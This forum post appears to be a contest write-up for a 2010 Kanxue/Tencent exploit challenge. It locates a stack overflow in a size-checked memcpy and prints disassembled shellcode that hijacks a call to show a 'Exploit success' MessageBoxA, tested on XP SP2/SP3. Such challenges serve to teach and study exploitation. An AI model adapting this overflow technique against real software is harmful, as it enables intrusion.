首页
社区
课程
招聘
[原创]腾讯看雪2010 第一阶段第一题
发表于: 2010-10-18 15:00 4143

[原创]腾讯看雪2010 第一阶段第一题

2010-10-18 15:00
4143
简单叙述一下过程,下面是溢出点。
  if ( v5 <= 0x84 )
        memcpy(&v13, v1, v5);
文件大小小于等于0x84才能触发。
0040116A     call dword ptr ds:[edx]  溢出点,接管程序流程

考虑到字节数限制 MessageBoxA比W少几字节。
在堆栈构造如下字二进制数据
0012FC7C                   A1 14854000       mov eax,dword ptr ds:[408514]
0012FC81                   6A 00             push 0
0012FC83                   68 A9FC1200       push 12FCA9    ; ASCII "ExploitMe"
0012FC88                   68 99FC1200       push 12FC99     ; ASCII "Exploit success"
0012FC8D                   6A 00             push 0
0012FC8F                   FFD0              call eax
0012FC91                   0000              add byte ptr ds:[eax],al
0012FC93                   0000              add byte ptr ds:[eax],al
0012FC95                   0000              add byte ptr ds:[eax],al
0012FC97                   0000              add byte ptr ds:[eax],al
0012FC99                   45                inc ebp
0012FC9A                   78 70             js short 0012FD0C
0012FC9C                   6C                ins byte ptr es:[edi],dx
0012FC9D                   6F                outs dx,dword ptr es:[edi]
0012FC9E                   697420 73 7563636>imul esi,dword ptr ds:[eax+73],65636375
0012FCA6                   73 73             jnb short 0012FD1B
0012FCA8                   0045 78           add byte ptr ss:[ebp+78],al
0012FCAB                   70 6C             jo short 0012FD19
0012FCAD                   6F                outs dx,dword ptr es:[edi]
0012FCAE                   69744D 65 0000000>imul esi,dword ptr ss:[ebp+ecx*2+65],0

为了让非0字节数更少,没有考虑正常返回,后面留有几字节空间。SP2,SP3测试成功。
算了下好像是46字节。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//